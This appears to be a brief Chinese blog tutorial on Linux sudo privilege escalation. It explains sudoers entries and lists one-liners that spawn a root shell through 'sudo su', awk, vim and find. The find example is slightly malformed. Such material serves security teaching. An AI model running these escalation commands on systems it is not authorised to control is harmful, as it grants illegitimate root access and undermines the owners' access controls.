linux SUDO提权

suid提权

知识点:

sudo命令:
以系统管理者的身份执行指令
sudoer文件:
要想使一个用户具有使用sudo的能力,需要让root用户将其名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息注册到/etc/sudoers文件中,即完成对该用户的授权(此时该用户称为“sudoer”)才可以。

查看sudoers文件:
在这里插入图片描述

root all=(all:all)all  //root用户可在任何终端执行任意命令
wangw all=/usr/bin/find//wangw用户可在任何终端使用自己的密码执行find命令
wangw all=(root)nopasswd:/usr/bin/awk //wangw用户可在任何终端运行,以root身份执行awk命令且不需要密码

利用
sudo -l 查看wangw用户执行sudo的权限 all就是全部命令都可以执行sudo且不需要root密码
既然不需要root密码就开始尝试提权
在这里插入图片描述提权

su命令

sudo su

在这里插入图片描述

awk命令

sudo awk 'BEGIN {system("/bin/sh")}'

vim命令

sudo vim -c '! sh'

查找命令

sudo find . -exec /bin/sh ; -quit

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值